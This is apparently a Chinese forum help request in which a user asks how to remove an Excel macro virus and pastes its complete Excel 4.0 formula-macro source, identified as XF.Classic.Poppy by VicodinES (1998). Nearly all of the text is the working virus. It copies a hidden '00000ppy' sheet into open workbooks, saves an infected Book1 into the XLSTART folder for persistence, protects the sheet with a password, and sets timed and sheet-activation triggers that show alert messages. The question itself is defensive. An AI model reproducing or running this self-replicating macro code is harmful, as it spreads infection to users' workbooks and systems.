|
发现一个宏病毒,请问应该怎样清除。代码是:A列:平台报表2011-11-(9-16)(1).xls | Book1 | C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | 3 | | | Classic.Poppy by VicodinES | With Lord Natas | An Excel Formula Macro Virus (XF.Classic) | Hydrocodone/APAP 10-650 For Your Computer | (C) The Narkotic Network 1998 | | | **Simple Payload** | =ALERT("XF.Classic.Poppy by VicodinES", 2) | =ALERT("?1998 The Narkotic Network", 2) | =RETURN() | | | **Add New Workbook, Infect It, Save It As Book1.xls** | =SET.VALUE($A$2,INDEX(Document_array,1)) | =ERROR(TRUE,MakeIt) | =IF(A21=0) | =RETURN() | | =NEW(1) | =WORKBOOK.INSERT(1) | =WORKBOOK.INSERT(1) | =ACTIVATE.PREV() | =RUN(C18) | =WORKBOOK.COPY("00000ppy",A1) | =WORKBOOK.NAME("Sheet3","Sheet99") | =WORKBOOK.NAME("Sheet1","Sheet3") | =WORKBOOK.NAME("Sheet99","Sheet1") | =PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE) | =WORKBOOK.PREV() | =WORKBOOK.PREV() | =WORKBOOK.PREV() | =SAVE.AS(A3) | =FILE.CLOSE() | =RETURN() | C列:=WORKBOOK.HIDE("00000ppy") | | **Auto and On Sheet Starts Here** | =RUN(C18) | =ERROR(TRUE, Continue) | =IF(A4=3) | =RETURN() | =END.IF() | =ERROR(FALSE) | =RUN(A21) | =ON.TIME("6:30:00 PM", "Hello") | =ON.TIME("6:30:00 AM", "Morning") | =ON.SHEET(,"Poppy",TRUE) | =RETURN() | | | **Set Our Values and Paths** | =SET.VALUE($A$3,(GET.WORKSPACE(32) & "\xlstart\Book1.")) | =SET.NAME("Document_array", DOCUMENTS()) | =SET.VALUE($A$1, INDEX(Document_array,2)) | | =SET.VALUE($A$4,GET.DOCUMENT(3,"["&A1&"]"&"00000ppy")) | =RETURN() | | | **Infect Workbook** | =RUN(C19) | =ERROR(TRUE,Bust) | =IF(A4=3) | =RETURN() | =ERROR(FALSE) | =ACTIVATE.PREV() | =RUN(C19) | =WORKBOOK.COPY("00000ppy",A1) | =END.IF() | =RETURN() | | | =APP.TITLE("XF.Classic.Poppy") | =MESSAGE(TRUE, "VicodinES and Lord Natas greet you a good morning!") | =RETURN() |
|
|